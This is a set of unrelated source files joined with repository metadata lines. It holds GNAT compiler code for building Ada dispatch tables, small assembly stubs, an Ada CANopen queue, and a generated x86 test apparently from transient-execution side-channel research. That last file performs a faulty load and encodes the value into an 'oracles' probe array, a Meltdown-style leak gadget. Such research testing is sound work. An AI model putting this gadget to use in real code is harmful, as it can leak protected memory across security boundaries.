if Present (Alias (Prim_Op))
and then Find_Dispatching_Type (Alias (Prim_Op)) /= Typ
and then not Comes_From_Source (Prim_Op)
and then Is_Internal_Name (Chars (Prim_Op))
and then not Is_Internal_Name (Chars (Alias (Prim_Op)))
then
Parent_Subp := Alias (Prim_Op);
-- Check if the type has an explicit overriding for this
-- primitive.
Op_Elmt_2 := Next_Elmt (Op_Elmt);
while Present (Op_Elmt_2) loop
if Chars (Node (Op_Elmt_2)) = Chars (Parent_Subp)
and then Type_Conformant (Prim_Op, Node (Op_Elmt_2))
then
Set_DT_Position_Value (Prim_Op,
DT_Position (Parent_Subp));
Set_DT_Position_Value (Node (Op_Elmt_2),
DT_Position (Parent_Subp));
Set_Fixed_Prim (UI_To_Int (DT_Position (Prim_Op)));
goto Next_Primitive;
end if;
Next_Elmt (Op_Elmt_2);
end loop;
end if;
<<Next_Primitive>>
Next_Elmt (Op_Elmt);
end loop;
end Handle_Inherited_Private_Subprograms;
--------------------
-- Set_Fixed_Prim --
--------------------
procedure Set_Fixed_Prim (Pos : Nat) is
begin
pragma Assert (Pos <= Count_Prim);
Fixed_Prim (Pos) := True;
exception
when Constraint_Error =>
raise Program_Error;
end Set_Fixed_Prim;
begin
-- In case of nested packages and public child package it may be
-- necessary a special management on inherited subprograms so that
-- the dispatch table is properly filled.
if Ekind (Scope (Scope (Typ))) = E_Package
and then Scope (Scope (Typ)) /= Standard_Standard
and then ((Is_Derived_Type (Typ) and then not Is_Private_Type (Typ))
or else
(Nkind (Parent (Typ)) = N_Private_Extension_Declaration
and then Is_Generic_Type (Typ)))
and then In_Open_Scopes (Scope (Etype (Typ)))
and then Is_Base_Type (Typ)
then
Handle_Inherited_Private_Subprograms (Typ);
end if;
-- Second stage: Register fixed entries
Nb_Prim := 0;
Prim_Elmt := First_Prim;
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- Predefined primitives have a separate table and all its
-- entries are at predefined fixed positions.
if In_Predef_Prims_DT (Prim) then
if Is_Predefined_Dispatching_Operation (Prim) then
Set_DT_Position_Value (Prim,
Default_Prim_Op_Position (Prim));
else pragma Assert (Present (Alias (Prim)));
Set_DT_Position_Value (Prim,
Default_Prim_Op_Position (Ultimate_Alias (Prim)));
end if;
-- Overriding primitives of ancestor abstract interfaces
elsif Present (Interface_Alias (Prim))
and then Is_Ancestor
(Find_Dispatching_Type (Interface_Alias (Prim)), Typ,
Use_Full_View => True)
then
pragma Assert (DT_Position (Prim) = No_Uint
and then Present (DTC_Entity (Interface_Alias (Prim))));
E := Interface_Alias (Prim);
Set_DT_Position_Value (Prim, DT_Position (E));
pragma Assert
(DT_Position (Alias (Prim)) = No_Uint
or else DT_Position (Alias (Prim)) = DT_Position (E));
Set_DT_Position_Value (Alias (Prim), DT_Position (E));
Set_Fixed_Prim (UI_To_Int (DT_Position (Prim)));
-- Overriding primitives must use the same entry as the overridden
-- primitive. Note that the Alias of the operation is set when the
-- operation is declared by a renaming, in which case it is not
-- overriding. If it renames another primitive it will use the
-- same dispatch table slot, but if it renames an operation in a
-- nested package it's a new primitive and will have its own slot.
elsif not Present (Interface_Alias (Prim))
and then Present (Alias (Prim))
and then Chars (Prim) = Chars (Alias (Prim))
and then Nkind (Unit_Declaration_Node (Prim)) /=
N_Subprogram_Renaming_Declaration
then
declare
Par_Type : constant Entity_Id :=
Find_Dispatching_Type (Alias (Prim));
begin
if Present (Par_Type)
and then Par_Type /= Typ
and then Is_Ancestor (Par_Type, Typ, Use_Full_View => True)
and then Present (DTC_Entity (Alias (Prim)))
then
E := Alias (Prim);
Set_DT_Position_Value (Prim, DT_Position (E));
if not Is_Predefined_Dispatching_Alias (E) then
Set_Fixed_Prim (UI_To_Int (DT_Position (E)));
end if;
end if;
end;
end if;
Next_Elmt (Prim_Elmt);
end loop;
-- Third stage: Fix the position of all the new primitives. Entries
-- associated with primitives covering interfaces are handled in a
-- latter round.
Prim_Elmt := First_Prim;
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- Skip primitives previously set entries
if DT_Position (Prim) /= No_Uint then
null;
-- Primitives covering interface primitives are handled later
elsif Present (Interface_Alias (Prim)) then
null;
else
-- Take the next available position in the DT
loop
Nb_Prim := Nb_Prim + 1;
pragma Assert (Nb_Prim <= Count_Prim);
exit when not Fixed_Prim (Nb_Prim);
end loop;
Set_DT_Position_Value (Prim, UI_From_Int (Nb_Prim));
Set_Fixed_Prim (Nb_Prim);
end if;
Next_Elmt (Prim_Elmt);
end loop;
end;
-- Fourth stage: Complete the decoration of primitives covering
-- interfaces (that is, propagate the DT_Position attribute from
-- the aliased primitive)
Prim_Elmt := First_Prim;
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if DT_Position (Prim) = No_Uint
and then Present (Interface_Alias (Prim))
then
pragma Assert (Present (Alias (Prim))
and then Find_Dispatching_Type (Alias (Prim)) = Typ);
-- Check if this entry will be placed in the primary DT
if Is_Ancestor
(Find_Dispatching_Type (Interface_Alias (Prim)), Typ,
Use_Full_View => True)
then
pragma Assert (DT_Position (Alias (Prim)) /= No_Uint);
Set_DT_Position_Value (Prim, DT_Position (Alias (Prim)));
-- Otherwise it will be placed in the secondary DT
else
pragma Assert
(DT_Position (Interface_Alias (Prim)) /= No_Uint);
Set_DT_Position_Value (Prim,
DT_Position (Interface_Alias (Prim)));
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
-- Generate listing showing the contents of the dispatch tables. This
-- action is done before some further static checks because in case of
-- critical errors caused by a wrong dispatch table we need to see the
-- contents of such table.
if Debug_Flag_ZZ then
Write_DT (Typ);
end if;
-- Final stage: Ensure that the table is correct plus some further
-- verifications concerning the primitives.
Prim_Elmt := First_Prim;
DT_Length := 0;
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- At this point all the primitives MUST have a position in the
-- dispatch table.
if DT_Position (Prim) = No_Uint then
raise Program_Error;
end if;
-- Calculate real size of the dispatch table
if not In_Predef_Prims_DT (Prim)
and then UI_To_Int (DT_Position (Prim)) > DT_Length
then
DT_Length := UI_To_Int (DT_Position (Prim));
end if;
-- Ensure that the assigned position to non-predefined dispatching
-- operations in the dispatch table is correct.
if not Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Predefined_Dispatching_Alias (Prim)
then
Validate_Position (Prim);
end if;
if Chars (Prim) = Name_Finalize then
Finalized := True;
end if;
if Chars (Prim) = Name_Adjust then
Adjusted := True;
end if;
-- An abstract operation cannot be declared in the private part for a
-- visible abstract type, because it can't be overridden outside this
-- package hierarchy. For explicit declarations this is checked at
-- the point of declaration, but for inherited operations it must be
-- done when building the dispatch table.
-- Ada 2005 (AI-251): Primitives associated with interfaces are
-- excluded from this check because interfaces must be visible in
-- the public and private part (RM 7.3 (7.3/2))
-- We disable this check in Relaxed_RM_Semantics mode, to accommodate
-- legacy Ada code.
if not Relaxed_RM_Semantics
and then Is_Abstract_Type (Typ)
and then Is_Abstract_Subprogram (Prim)
and then Present (Alias (Prim))
and then not Is_Interface
(Find_Dispatching_Type (Ultimate_Alias (Prim)))
and then not Present (Interface_Alias (Prim))
and then Is_Derived_Type (Typ)
and then In_Private_Part (Current_Scope)
and then
List_Containing (Parent (Prim)) =
Private_Declarations (Package_Specification (Current_Scope))
and then Original_View_In_Visible_Part (Typ)
then
-- We exclude Input and Output stream operations because
-- Limited_Controlled inherits useless Input and Output stream
-- operations from Root_Controlled, which can never be overridden.
-- Move this check to sem???
if not Is_TSS (Prim, TSS_Stream_Input)
and then
not Is_TSS (Prim, TSS_Stream_Output)
then
Error_Msg_NE
("abstract inherited private operation&" &
" must be overridden (RM 3.9.3(10))",
Parent (Typ), Prim);
end if;
end if;
Next_Elmt (Prim_Elmt);
end loop;
-- Additional check
if Is_Controlled (Typ) then
if not Finalized then
Error_Msg_N
("controlled type has no explicit Finalize method??", Typ);
elsif not Adjusted then
Error_Msg_N
("controlled type has no explicit Adjust method??", Typ);
end if;
end if;
-- Set the final size of the Dispatch Table
Set_DT_Entry_Count (The_Tag, UI_From_Int (DT_Length));
-- The derived type must have at least as many components as its parent
-- (for root types Etype points to itself and the test cannot fail).
if DT_Entry_Count (The_Tag) <
DT_Entry_Count (First_Tag_Component (Parent_Typ))
then
raise Program_Error;
end if;
end Set_All_DT_Position;
--------------------------
-- Set_CPP_Constructors --
--------------------------
procedure Set_CPP_Constructors (Typ : Entity_Id) is
function Gen_Parameters_Profile (E : Entity_Id) return List_Id;
-- Duplicate the parameters profile of the imported C++ constructor
-- adding the "this" pointer to the object as the additional first
-- parameter under the usual form _Init : in out Typ.
----------------------------
-- Gen_Parameters_Profile --
----------------------------
function Gen_Parameters_Profile (E : Entity_Id) return List_Id is
Loc : constant Source_Ptr := Sloc (E);
Parms : List_Id;
P : Node_Id;
begin
Parms :=
New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uInit),
In_Present => True,
Out_Present => True,
Parameter_Type => New_Occurrence_Of (Typ, Loc)));
if Present (Parameter_Specifications (Parent (E))) then
P := First (Parameter_Specifications (Parent (E)));
while Present (P) loop
Append_To (Parms,
Make_Parameter_Specification (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Loc,
Chars => Chars (Defining_Identifier (P))),
Parameter_Type => New_Copy_Tree (Parameter_Type (P)),
Expression => New_Copy_Tree (Expression (P))));
Next (P);
end loop;
end if;
return Parms;
end Gen_Parameters_Profile;
-- Local variables
Loc : Source_Ptr;
E : Entity_Id;
Found : Boolean := False;
IP : Entity_Id;
IP_Body : Node_Id;
P : Node_Id;
Parms : List_Id;
Covers_Default_Constructor : Entity_Id := Empty;
-- Start of processing for Set_CPP_Constructor
begin
pragma Assert (Is_CPP_Class (Typ));
-- Look for the constructor entities
E := Next_Entity (Typ);
while Present (E) loop
if Ekind (E) = E_Function
and then Is_Constructor (E)
then
Found := True;
Loc := Sloc (E);
Parms := Gen_Parameters_Profile (E);
IP := Make_Defining_Identifier (Loc, Make_Init_Proc_Name (Typ));
-- Case 1: Constructor of untagged type
-- If the C++ class has no virtual methods then the matching Ada
-- type is an untagged record type. In such case there is no need
-- to generate a wrapper of the C++ constructor because the _tag
-- component is not available.
if not Is_Tagged_Type (Typ) then
Discard_Node
(Make_Subprogram_Declaration (Loc,
Specification =>
Make_Procedure_Specification (Loc,
Defining_Unit_Name => IP,
Parameter_Specifications => Parms)));
Set_Init_Proc (Typ, IP);
Set_Is_Imported (IP);
Set_Is_Constructor (IP);
Set_Interface_Name (IP, Interface_Name (E));
Set_Convention (IP, Convention_CPP);
Set_Is_Public (IP);
Set_Has_Completion (IP);
-- Case 2: Constructor of a tagged type
-- In this case we generate the IP routine as a wrapper of the
-- C++ constructor because IP must also save a copy of the _tag
-- generated in the C++ side. The copy of the _tag is used by
-- Build_CPP_Init_Procedure to elaborate derivations of C++ types.
-- Generate:
-- procedure IP (_init : in out Typ; ...) is
-- procedure ConstructorP (_init : in out Typ; ...);
-- pragma Import (ConstructorP);
-- begin
-- ConstructorP (_init, ...);
-- if Typ._tag = null then
-- Typ._tag := _init._tag;
-- end if;
-- end IP;
else
declare
Body_Stmts : constant List_Id := New_List;
Constructor_Id : Entity_Id;
Constructor_Decl_Node : Node_Id;
Init_Tags_List : List_Id;
begin
Constructor_Id := Make_Temporary (Loc, 'P');
Constructor_Decl_Node :=
Make_Subprogram_Declaration (Loc,
Make_Procedure_Specification (Loc,
Defining_Unit_Name => Constructor_Id,
Parameter_Specifications => Parms));
Set_Is_Imported (Constructor_Id);
Set_Is_Constructor (Constructor_Id);
Set_Interface_Name (Constructor_Id, Interface_Name (E));
Set_Convention (Constructor_Id, Convention_CPP);
Set_Is_Public (Constructor_Id);
Set_Has_Completion (Constructor_Id);
-- Build the init procedure as a wrapper of this constructor
Parms := Gen_Parameters_Profile (E);
-- Invoke the C++ constructor
declare
Actuals : constant List_Id := New_List;
begin
P := First (Parms);
while Present (P) loop
Append_To (Actuals,
New_Occurrence_Of (Defining_Identifier (P), Loc));
Next (P);
end loop;
Append_To (Body_Stmts,
Make_Procedure_Call_Statement (Loc,
Name => New_Occurrence_Of (Constructor_Id, Loc),
Parameter_Associations => Actuals));
end;
-- Initialize copies of C++ primary and secondary tags
Init_Tags_List := New_List;
declare
Tag_Elmt : Elmt_Id;
Tag_Comp : Node_Id;
begin
Tag_Elmt := First_Elmt (Access_Disp_Table (Typ));
Tag_Comp := First_Tag_Component (Typ);
while Present (Tag_Elmt)
and then Is_Tag (Node (Tag_Elmt))
loop
-- Skip the following assertion with primary tags
-- because Related_Type is not set on primary tag
-- components.
pragma Assert
(Tag_Comp = First_Tag_Component (Typ)
or else Related_Type (Node (Tag_Elmt))
= Related_Type (Tag_Comp));
Append_To (Init_Tags_List,
Make_Assignment_Statement (Loc,
Name =>
New_Occurrence_Of (Node (Tag_Elmt), Loc),
Expression =>
Make_Selected_Component (Loc,
Prefix =>
Make_Identifier (Loc, Name_uInit),
Selector_Name =>
New_Occurrence_Of (Tag_Comp, Loc))));
Tag_Comp := Next_Tag_Component (Tag_Comp);
Next_Elmt (Tag_Elmt);
end loop;
end;
Append_To (Body_Stmts,
Make_If_Statement (Loc,
Condition =>
Make_Op_Eq (Loc,
Left_Opnd =>
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))),
Loc),
Right_Opnd =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc))),
Then_Statements => Init_Tags_List));
IP_Body :=
Make_Subprogram_Body (Loc,
Specification =>
Make_Procedure_Specification (Loc,
Defining_Unit_Name => IP,
Parameter_Specifications => Parms),
Declarations => New_List (Constructor_Decl_Node),
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
Statements => Body_Stmts,
Exception_Handlers => No_List));
Discard_Node (IP_Body);
Set_Init_Proc (Typ, IP);
end;
end if;
-- If this constructor has parameters and all its parameters have
-- defaults then it covers the default constructor. The semantic
-- analyzer ensures that only one constructor with defaults covers
-- the default constructor.
if Present (Parameter_Specifications (Parent (E)))
and then Needs_No_Actuals (E)
then
Covers_Default_Constructor := IP;
end if;
end if;
Next_Entity (E);
end loop;
-- If there are no constructors, mark the type as abstract since we
-- won't be able to declare objects of that type.
if not Found then
Set_Is_Abstract_Type (Typ);
end if;
-- Handle constructor that has all its parameters with defaults and
-- hence it covers the default constructor. We generate a wrapper IP
-- which calls the covering constructor.
if Present (Covers_Default_Constructor) then
declare
Body_Stmts : List_Id;
begin
Loc := Sloc (Covers_Default_Constructor);
Body_Stmts := New_List (
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (Covers_Default_Constructor, Loc),
Parameter_Associations => New_List (
Make_Identifier (Loc, Name_uInit))));
IP := Make_Defining_Identifier (Loc, Make_Init_Proc_Name (Typ));
IP_Body :=
Make_Subprogram_Body (Loc,
Specification =>
Make_Procedure_Specification (Loc,
Defining_Unit_Name => IP,
Parameter_Specifications => New_List (
Make_Parameter_Specification (Loc,
Defining_Identifier =>
Make_Defining_Identifier (Loc, Name_uInit),
Parameter_Type => New_Occurrence_Of (Typ, Loc)))),
Declarations => No_List,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
Statements => Body_Stmts,
Exception_Handlers => No_List));
Discard_Node (IP_Body);
Set_Init_Proc (Typ, IP);
end;
end if;
-- If the CPP type has constructors then it must import also the default
-- C++ constructor. It is required for default initialization of objects
-- of the type. It is also required to elaborate objects of Ada types
-- that are defined as derivations of this CPP type.
if Has_CPP_Constructors (Typ)
and then No (Init_Proc (Typ))
then
Error_Msg_N ("??default constructor must be imported from C++", Typ);
end if;
end Set_CPP_Constructors;
---------------------------
-- Set_DT_Position_Value --
---------------------------
procedure Set_DT_Position_Value (Prim : Entity_Id; Value : Uint) is
begin
Set_DT_Position (Prim, Value);
-- Propagate the value to the wrapped subprogram (if one is present)
if Ekind (Prim) in E_Function | E_Procedure
and then Is_Primitive_Wrapper (Prim)
and then Present (Wrapped_Entity (Prim))
and then Is_Dispatching_Operation (Wrapped_Entity (Prim))
then
Set_DT_Position (Wrapped_Entity (Prim), Value);
end if;
end Set_DT_Position_Value;
--------------------------
-- Set_DTC_Entity_Value --
--------------------------
procedure Set_DTC_Entity_Value
(Tagged_Type : Entity_Id;
Prim : Entity_Id)
is
begin
if Present (Interface_Alias (Prim))
and then Is_Interface
(Find_Dispatching_Type (Interface_Alias (Prim)))
then
Set_DTC_Entity (Prim,
Find_Interface_Tag
(T => Tagged_Type,
Iface => Find_Dispatching_Type (Interface_Alias (Prim))));
else
Set_DTC_Entity (Prim,
First_Tag_Component (Tagged_Type));
end if;
-- Propagate the value to the wrapped subprogram (if one is present)
if Ekind (Prim) in E_Function | E_Procedure
and then Is_Primitive_Wrapper (Prim)
and then Present (Wrapped_Entity (Prim))
and then Is_Dispatching_Operation (Wrapped_Entity (Prim))
then
Set_DTC_Entity (Wrapped_Entity (Prim), DTC_Entity (Prim));
end if;
end Set_DTC_Entity_Value;
-----------------
-- Tagged_Kind --
-----------------
function Tagged_Kind (T : Entity_Id) return Node_Id is
Conc_Typ : Entity_Id;
Loc : constant Source_Ptr := Sloc (T);
begin
pragma Assert
(Is_Tagged_Type (T) and then RTE_Available (RE_Tagged_Kind));
-- Abstract kinds
if Is_Abstract_Type (T) then
if Is_Limited_Record (T) then
return New_Occurrence_Of
(RTE (RE_TK_Abstract_Limited_Tagged), Loc);
else
return New_Occurrence_Of
(RTE (RE_TK_Abstract_Tagged), Loc);
end if;
-- Concurrent kinds
elsif Is_Concurrent_Record_Type (T) then
Conc_Typ := Corresponding_Concurrent_Type (T);
if Present (Full_View (Conc_Typ)) then
Conc_Typ := Full_View (Conc_Typ);
end if;
if Ekind (Conc_Typ) = E_Protected_Type then
return New_Occurrence_Of (RTE (RE_TK_Protected), Loc);
else
pragma Assert (Ekind (Conc_Typ) = E_Task_Type);
return New_Occurrence_Of (RTE (RE_TK_Task), Loc);
end if;
-- Regular tagged kinds
else
if Is_Limited_Record (T) then
return New_Occurrence_Of (RTE (RE_TK_Limited_Tagged), Loc);
else
return New_Occurrence_Of (RTE (RE_TK_Tagged), Loc);
end if;
end if;
end Tagged_Kind;
--------------
-- Write_DT --
--------------
procedure Write_DT (Typ : Entity_Id) is
Elmt : Elmt_Id;
Prim : Node_Id;
begin
-- Protect this procedure against wrong usage. Required because it will
-- be used directly from GDB
if not (Typ <= Last_Node_Id)
or else not Is_Tagged_Type (Typ)
then
Write_Str ("wrong usage: Write_DT must be used with tagged types");
Write_Eol;
return;
end if;
Write_Int (Int (Typ));
Write_Str (": ");
Write_Name (Chars (Typ));
if Is_Interface (Typ) then
Write_Str (" is interface");
end if;
Write_Eol;
Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Elmt) loop
Prim := Node (Elmt);
Write_Str (" - ");
-- Indicate if this primitive will be allocated in the primary
-- dispatch table or in a secondary dispatch table associated
-- with an abstract interface type
if Present (DTC_Entity (Prim)) then
if Etype (DTC_Entity (Prim)) = RTE (RE_Tag) then
Write_Str ("[P] ");
else
Write_Str ("[s] ");
end if;
end if;
-- Output the node of this primitive operation and its name
Write_Int (Int (Prim));
Write_Str (": ");
if Is_Predefined_Dispatching_Operation (Prim) then
Write_Str ("(predefined) ");
end if;
-- Prefix the name of the primitive with its corresponding tagged
-- type to facilitate seeing inherited primitives.
if Present (Alias (Prim)) then
Write_Name
(Chars (Find_Dispatching_Type (Ultimate_Alias (Prim))));
else
Write_Name (Chars (Typ));
end if;
Write_Str (".");
Write_Name (Chars (Prim));
-- Indicate if this primitive has an aliased primitive
if Present (Alias (Prim)) then
Write_Str (" (alias = ");
Write_Int (Int (Alias (Prim)));
-- If the DTC_Entity attribute is already set we can also output
-- the name of the interface covered by this primitive (if any).
if Ekind (Alias (Prim)) in E_Function | E_Procedure
and then Present (DTC_Entity (Alias (Prim)))
and then Is_Interface (Scope (DTC_Entity (Alias (Prim))))
then
Write_Str (" from interface ");
Write_Name (Chars (Scope (DTC_Entity (Alias (Prim)))));
end if;
if Present (Interface_Alias (Prim)) then
Write_Str (", AI_Alias of ");
if Is_Null_Interface_Primitive (Interface_Alias (Prim)) then
Write_Str ("null primitive ");
end if;
Write_Name
(Chars (Find_Dispatching_Type (Interface_Alias (Prim))));
Write_Char (':');
Write_Int (Int (Interface_Alias (Prim)));
end if;
Write_Str (")");
end if;
-- Display the final position of this primitive in its associated
-- (primary or secondary) dispatch table.
if Present (DTC_Entity (Prim))
and then DT_Position (Prim) /= No_Uint
then
Write_Str (" at #");
Write_Int (UI_To_Int (DT_Position (Prim)));
end if;
if Is_Abstract_Subprogram (Prim) then
Write_Str (" is abstract;");
-- Check if this is a null primitive
elsif Comes_From_Source (Prim)
and then Ekind (Prim) = E_Procedure
and then Null_Present (Parent (Prim))
then
Write_Str (" is null;");
end if;
if Is_Eliminated (Ultimate_Alias (Prim)) then
Write_Str (" (eliminated)");
end if;
if Is_Imported (Prim)
and then Convention (Prim) = Convention_CPP
then
Write_Str (" (C++)");
end if;
Write_Eol;
Next_Elmt (Elmt);
end loop;
end Write_DT;
end Exp_Disp;
|
samples/a8/pasintro/msx/player.asm
|
zbyti/Mad-Pascal
| 1
|
9857
|
; opt f+
STEREOMODE equ 0
icl 'intro.feat'
icl 'rmt_player.a65'
|
libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_init_fastcall.asm
|
meesokim/z88dk
| 0
|
83337
|
<filename>libsrc/_DEVELOPMENT/adt/p_forward_list_alt/c/sdcc_iy/p_forward_list_alt_init_fastcall.asm
; void p_forward_list_alt_init_fastcall(void *p)
SECTION code_adt_p_forward_list_alt
PUBLIC _p_forward_list_alt_init_fastcall
_p_forward_list_alt_init_fastcall:
INCLUDE "adt/p_forward_list_alt/z80/asm_p_forward_list_alt_init.asm"
|
src/aco-utils-ds-generic_protected_queue.adb
|
jonashaggstrom/ada-canopen
| 6
|
15423
|
package body ACO.Utils.DS.Generic_Protected_Queue is
procedure Put_Blocking
(This : in out Protected_Queue;
Item : in Item_Type)
is
Success : Boolean;
begin
This.Buffer.Put (Item, Success);
if not Success then
Ada.Synchronous_Task_Control.Suspend_Until_True (This.Non_Full);
This.Buffer.Put (Item, Success);
end if;
Ada.Synchronous_Task_Control.Set_True (This.Non_Empty);
end Put_Blocking;
procedure Put
(This : in out Protected_Queue;
Item : in Item_Type;
Success : out Boolean)
is
begin
This.Buffer.Put (Item, Success);
end Put;
procedure Get_Blocking
(This : in out Protected_Queue;
Item : out Item_Type)
is
Success : Boolean;
begin
This.Buffer.Get (Item, Success);
if not Success then
Ada.Synchronous_Task_Control.Suspend_Until_True (This.Non_Empty);
This.Buffer.Get (Item, Success);
end if;
Ada.Synchronous_Task_Control.Set_True (This.Non_Full);
end Get_Blocking;
procedure Get
(This : in out Protected_Queue;
Item : out Item_Type)
is
Success : Boolean;
begin
This.Buffer.Get (Item, Success);
Ada.Synchronous_Task_Control.Set_True (This.Non_Full);
end Get;
function Count
(This : Protected_Queue)
return Natural
is
begin
return This.Buffer.Nof_Items;
end Count;
function Is_Empty
(This : Protected_Queue)
return Boolean
is
begin
return This.Buffer.Nof_Items = 0;
end Is_Empty;
function Is_Full
(This : Protected_Queue)
return Boolean
is
begin
return This.Buffer.Nof_Items >= Maximum_Nof_Items;
end Is_Full;
protected body Buffer_Type is
procedure Put
(Item : in Item_Type;
Success : out Boolean)
is
begin
if Queue.Is_Full then
Success := False;
else
Success := True;
Queue.Put (Item);
end if;
end Put;
procedure Get
(Item : out Item_Type;
Success : out Boolean)
is
begin
if Queue.Is_Empty then
Success := False;
else
Success := True;
Queue.Get (Item);
end if;
end Get;
function Nof_Items return Natural
is
begin
return Queue.Length;
end Nof_Items;
end Buffer_Type;
end ACO.Utils.DS.Generic_Protected_Queue;
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6679_1727.asm
|
ljhsiun2/medusa
| 9
|
7437
|
<filename>Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6679_1727.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rcx
push %rdi
lea addresses_normal_ht+0x5c93, %r15
nop
nop
add $60763, %r8
mov (%r15), %rcx
nop
nop
nop
nop
dec %rdi
pop %rdi
pop %rcx
pop %r8
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rsi
// Load
lea addresses_normal+0x2493, %rcx
nop
nop
cmp %r10, %r10
mov (%rcx), %eax
nop
nop
xor %r15, %r15
// REPMOV
lea addresses_UC+0x18d13, %rsi
lea addresses_WC+0x5713, %rdi
add %r10, %r10
mov $125, %rcx
rep movsb
nop
nop
nop
nop
xor %r12, %r12
// Faulty Load
lea addresses_normal+0x15113, %rsi
nop
nop
add %r14, %r14
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %rax
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'34': 6679}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 